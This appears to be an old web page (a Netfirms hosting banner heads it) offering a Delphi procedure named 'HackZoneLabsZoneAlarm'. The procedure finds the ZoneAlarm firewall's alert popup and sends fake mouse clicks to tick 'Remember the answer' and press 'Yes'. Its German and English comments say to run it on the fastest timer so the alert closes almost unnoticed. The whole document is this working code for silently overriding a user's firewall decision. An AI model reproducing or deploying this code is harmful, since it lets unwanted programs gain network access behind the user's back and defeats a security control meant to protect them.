Web Hosting by Netfirms | Free Domain Names by Netfirms

//Diese Procedure drückt den 'Yes' Button des ZoneAlarm-Alarm-Popup-Fensters.
//Am besten, sie wird in einem Timer mit dem kleinst möglichen Zeitintervall ausgeführt.
//So kann man sicher sein, dass das Alarmfenster, wenn es auftaucht sehr schnell,
//und kaum merkbar wieder geschlossen, und mit 'YES' beantwortet wird.

//This Procedure press the 'Yes' button of the ZoneAlarm-Alarming-Popup-Window.
//Best way to use:  write this procedure in your Project-Unit, put a Timer
//                  on your Form and execute the procedure in it with the smallest
//                  Timerintervall.

procedure HackZoneLabsZoneAlarm; //(c) Steve Tricky
var
ZoneAlarmYesButton      :THandle;
ZoneAlarmRememberAnswer :Thandle;
  begin
    try
    //try to find the Buttons on the older Version 2.1.44:
    ZoneAlarmYesButton      := FindWindowEx(findwindow('#32770',nil),0,nil,'&y	yes_button');
    ZoneAlarmRememberAnswer := FindWindowEx(findwindow('#32770',nil),0,nil,'&Remember the answer each time I use this program.');

    //If Buttons not found, try it with the newer Version 2.6.88:
    If (ZoneAlarmYesButton = 0) or (ZoneAlarmRememberAnswer=0) then
        begin
        ZoneAlarmYesButton      := FindWindowEx(findwindow('#32770',nil),0,nil,'&Yes');
        ZoneAlarmRememberAnswer := FindWindowEx(findwindow('#32770',nil),0,nil,'&Remember this answer the next time I use this program.');
        end;

    //If all Buttons are found, and visible: CLICK THEM !
    If (ZoneAlarmYesButton <> 0) and (ZoneAlarmRememberAnswer <> 0) and (IsWindowVisible(ZoneAlarmYesButton)) and (IsWindowVisible(ZoneAlarmRememberAnswer)) then
       begin
       SendMessage(ZoneAlarmRememberAnswer, WM_LBUTTONDOWN ,0,0);
       Sleep(10);
       SendMessage(ZoneAlarmRememberAnswer, WM_LBUTTONUP ,0,0);
       Sleep(10);
       SendMessage(ZoneAlarmYesButton     , WM_LBUTTONDOWN ,0,0);
       Sleep(10);
       SendMessage(ZoneAlarmYesButton     , WM_LBUTTONUP ,0,0);
       end;

except end;
end;